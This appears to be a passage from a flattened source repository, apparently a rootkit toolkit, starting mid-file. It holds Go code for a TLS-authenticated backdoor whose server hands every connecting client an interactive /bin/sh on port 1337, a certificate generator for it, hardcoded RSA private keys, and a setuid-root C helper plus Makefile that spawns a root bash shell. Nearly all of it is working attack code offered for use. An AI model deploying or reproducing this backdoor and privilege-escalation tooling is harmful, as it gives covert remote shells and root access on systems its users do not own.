n+uzVhIOR0hoqnA7wlgNbGp+h6hebi/7qcNX6vVvTWUEogh3SrbnjOG0aFbHfnv+ 34 | 7dcWJG4R5wJBAMQxyeKOYb/U6K2IagU298sYl7lo45qITyzGuuN3swqlKwIm6YKl 35 | pT4xB5+NgdgrfvnSlHqw4Qr6+hYxECWuh9kCQQDjajU1/vZUcm72y4O60cJJaqi8 36 | vxG441SFXiQv8QpejGZH60MxALX4h5zc9adCgoJKSQNlE47lY/jUYHM6tV8hAkAx 37 | uLCCYzUwqaOiPv0nfyvDY+Mn0QZFpp/yKBc7CJ3uZ7eDnxr0ykgbf89/xxwODc/r 38 | Pkv04BjYcIyqzRpbgmTZAkAcEC9QV6iaYpYoJCBa/SVW/+dnA41Qo7khlXQubIXt 39 | yvrgDMN3ejbHTaqmnPRPLSp1ljA+cglj0xuOacmckv3S 40 | -----END RSA PRIVATE KEY-----`) 41 | 42 | crt, err := tls.X509KeyPair(clientpem, clientkey) 43 | if err != nil { 44 | log.Fatalln(err.Error()) 45 | } 46 | log.Println("certificate loaded") 47 | 48 | cfg := tls.Config{ 49 | Certificates: []tls.Certificate{crt}, 50 | InsecureSkipVerify: true, 51 | } 52 | 53 | con, err := tls.Dial("tcp", "localhost:1337", &cfg) 54 | if err != nil { 55 | log.Fatalln("Error:", err.Error()) 56 | } 57 | 58 | go io.Copy(os.Stdout, con) 59 | go io.Copy(os.Stderr, con) 60 | io.Copy(con, os.Stdin) 61 | 62 | con.Close() 63 | } 64 | -------------------------------------------------------------------------------- /util/backdoor/gen.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/x509" 5 | "crypto/x509/pkix" 6 | "crypto/rsa" 7 | "crypto/rand" 8 | "math/big" 9 | "io/ioutil" 10 | "log" 11 | "time" 12 | ) 13 | 14 | func main() { 15 | ca := &x509.Certificate{ 16 | SerialNumber: big.NewInt(1653), 17 | Subject: pkix.Name{ 18 | Country: []string{"Austria"}, 19 | Organization: []string{"Heaplock"}, 20 | OrganizationalUnit: []string{"THOR"}, 21 | }, 22 | NotBefore: time.Now(), 23 | NotAfter: time.Now().AddDate(10,0,0), 24 | SubjectKeyId: []byte{1,2,3,4,5}, 25 | BasicConstraintsValid: true, 26 | IsCA: true, 27 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth}, 28 | KeyUsage: x509.KeyUsageDigitalSignature|x509.KeyUsageCertSign, 29 | } 30 | 31 | priv, _ := rsa.GenerateKey(rand.Reader, 1024) 32 | pub := &priv.PublicKey 33 | ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv) 34 | if err != nil { 35 | log.Println("create ca failed", err) 36 | return 37 | } 38 | ca_f := "server.crt" 39 | log.Println("write to", ca_f) 40 | ioutil.WriteFile(ca_f, ca_b, 0600) 41 | 42 | priv_f := "server.key" 43 | priv_b := x509.MarshalPKCS1PrivateKey(priv) 44 | log.Println("write to", priv_f) 45 | ioutil.WriteFile(priv_f, priv_b, 0600) 46 | 47 | cert2 := &x509.Certificate{ 48 | SerialNumber: big.NewInt(1658), 49 | Subject: pkix.Name{ 50 | Country: []string{"Austria"}, 51 | Organization: []string{"Heaplock"}, 52 | OrganizationalUnit: []string{"THOR"}, 53 | }, 54 | NotBefore: time.Now(), 55 | NotAfter: time.Now().AddDate(10,0,0), 56 | SubjectKeyId: []byte{1,2,3,4,6}, 57 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth}, 58 | KeyUsage: x509.KeyUsageDigitalSignature|x509.KeyUsageCertSign, 59 | } 60 | priv2, _ := rsa.GenerateKey(rand.Reader, 1024) 61 | pub2 := &priv2.PublicKey 62 | cert2_b, err2 := x509.CreateCertificate(rand.Reader, cert2, ca, pub2, priv) 63 | if err2 != nil { 64 | log.Println("create cert2 failed", err2) 65 | return 66 | } 67 | 68 | cert2_f := "client.crt" 69 | log.Println("write to", cert2_f) 70 | ioutil.WriteFile(cert2_f, cert2_b, 0600) 71 | 72 | priv2_f := "client.key" 73 | priv2_b := x509.MarshalPKCS1PrivateKey(priv2) 74 | log.Println("write to", priv2_f) 75 | ioutil.WriteFile(priv2_f, priv2_b, 0600) 76 | 77 | ca_c, _ := x509.ParseCertificate(ca_b) 78 | cert2_c, _ := x509.ParseCertificate(cert2_b) 79 | 80 | err3 := cert2_c.CheckSignatureFrom(ca_c) 81 | log.Println("check signature", err3 == nil) 82 | } 83 | 84 | -------------------------------------------------------------------------------- /util/backdoor/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "crypto/x509" 6 | "log" 7 | "net" 8 | "os/exec" 9 | ) 10 | 11 | func handleClient(con net.Conn) { 12 | defer con.Close() 13 | 14 | sh := exec.Command("/bin/sh", "-i") 15 | sh.Stdin = con 16 | sh.Stdout = con 17 | sh.Stderr = con 18 | sh.Run() 19 | } 20 | 21 | func main() { 22 | serverpem := []byte(`-----BEGIN CERTIFICATE----- 23 | MIICPzCCAaqgAwIBAgICBnUwCwYJKoZIhvcNAQELMDQxEDAOBgNVBAYTB0F1c3Ry 24 | aWExETAPBgNVBAoTCEhlYXBsb2NrMQ0wCwYDVQQLEwRUSE9SMB4XDTE0MTIyOTIw 25 | MjgxNloXDTI0MTIyOTIwMjgxNlowNDEQMA4GA1UEBhMHQXVzdHJpYTERMA8GA1UE 26 | ChMISGVhcGxvY2sxDTALBgNVBAsTBFRIT1IwgZ8wDQYJKoZIhvcNAQEBBQADgY0A 27 | MIGJAoGBAOqdhmr06r/y6zhJPKKaJMeydWRKGYE02AvNM/sGUP1mwKMm0NGdXpcF 28 | 0cWb76Ad6JeSN3ChFxrWLReG3Y1gePjiw8kN6yLC6clNBgw4ZDxbo5GrhAC2+tuy 29 | NIWTne1ecFxwCJfFzuHupCunlkIgRVooD3LIf/XPgE5IgTyl7BlTAgMBAAGjZDBi 30 | MA4GA1UdDwEB/wQEAwIAhDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEw 31 | DwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ4EBwQFAQIDBAUwEAYDVR0jBAkwB4AFAQID 32 | BAUwCwYJKoZIhvcNAQELA4GBADk9jWEjPkKi0uUdLEzBXaMJ41swnm3e3OKVZM2q 33 | LRXO8Z2CnEAxGs9bQiMJvoHnxZYfOoMNhOY+RwuqYNYWPW3DZf0aAlXp7xIYy2i8 34 | rq5sQx0yY81DNkwHbsCIN+TGtfmtCFXu4AXEpwt2BI/XlaSx67aSyB5jULaIRqn9 35 | uOlf 36 | -----END CERTIFICATE-----`) 37 | 38 | serverkey := []byte(`-----BEGIN RSA PRIVATE KEY----- 39 | MIICXAIBAAKBgQDqnYZq9Oq/8us4STyimiTHsnVkShmBNNgLzTP7BlD9ZsCjJtDR 40 | nV6XBdHFm++gHeiXkjdwoRca1i0Xht2NYHj44sPJDesiwunJTQYMOGQ8W6ORq4QA 41 | tvrbsjSFk53tXnBccAiXxc7h7qQrp5ZCIEVaKA9yyH/1z4BOSIE8pewZUwIDAQAB 42 | AoGAL9AikLGRFcU/wpzKSqj3TetEmUewovBOBzmumj3TS5EhOR6z98QGfuiks4zv 43 | 7MWrnRgjTETIHKQBVIYbqLA8drh7bxWZdDe9FX6qolrofrA0RVVEX168g6u7nwFH 44 | gKauBHlvhEhsAQDk2lZbAebwMEQ2v9vUN0aSdqyYNbRoTYECQQD2wDMFAJAsnAcV 45 | KB9OPCC6MRVO1/byX53XgdTTYXD3kiTltUdDBG0JLydGq9w1whND3MQ/fMieyQ0A 46 | N+0dJ0EjAkEA82jgAFGokYZ4d4AP7FNRq1uIN2C8gIal4+l07muGLHilV35esirN 47 | lf3jHn5xOdNpdjIkyX17VwRv/gPNzB+CEQJAWUUDsEWZ42m3bkILwWQjevkS+mlL 48 | oDhThIomEytnkUnAK5K/61EImZADp5+5lYFXMvAF1+ovMrMODwwsrqVq/QJAG7Im 49 | MsMX3B8h2+8NYMWGOGo80JhIOpOXkpxAutQvOyYrIg519e3a4KM30YNvnLXKfTFt 50 | cCPAAgG2QH/sTbqUEQJBALJHFbNoXs5UCR/OTj4wX/iORmsG1mp64p+vKY3yEtak 51 | OkzvwlDf7qF7sCxSR+Ohm6qnSXkLZSmr0m+ekiZpwy8= 52 | -----END RSA PRIVATE KEY-----`) 53 | 54 | crt, err := tls.X509KeyPair(serverpem, serverkey) 55 | if err != nil { 56 | log.Fatalln(err.Error()) 57 | } 58 | log.Println("certificate loaded") 59 | 60 | pool := x509.NewCertPool() 61 | if !pool.AppendCertsFromPEM(serverpem) { 62 | log.Fatalln("could not load pool") 63 | } 64 | 65 | cfg := tls.Config{ 66 | ClientAuth: tls.RequireAndVerifyClientCert, 67 | Certificates: []tls.Certificate{crt}, 68 | ClientCAs: pool, 69 | } 70 | 71 | srv, err := tls.Listen("tcp", "0.0.0.0:1337", &cfg) 72 | if err != nil { 73 | log.Fatalln("Error:", err.Error()) 74 | } 75 | 76 | log.Println("server listening") 77 | defer srv.Close() 78 | 79 | for { 80 | con, err := srv.Accept() 81 | if err != nil { 82 | log.Println("Error:", err.Error()) 83 | continue 84 | } 85 | go handleClient(con) 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /util/getroot/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: clean 2 | 3 | getroot: main.c 4 | gcc -o getroot main.c 5 | sudo chown root:root getroot 6 | sudo chmod 4755 getroot 7 | 8 | clean: 9 | sudo rm -f getroot 10 | -------------------------------------------------------------------------------- /util/getroot/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void) { 5 | setuid(0); 6 | system("/bin/bash --rcfile /root/.bashrc -i"); 7 | return 0; 8 | } 9 | --------------------------------------------------------------------------------